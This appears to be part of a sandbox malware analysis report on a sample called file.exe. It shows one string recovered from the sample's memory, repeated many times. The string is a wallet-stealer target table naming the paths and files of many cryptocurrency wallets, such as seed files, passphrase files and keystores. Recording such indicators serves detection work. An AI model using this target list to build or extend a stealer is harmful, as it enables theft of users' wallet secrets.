Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 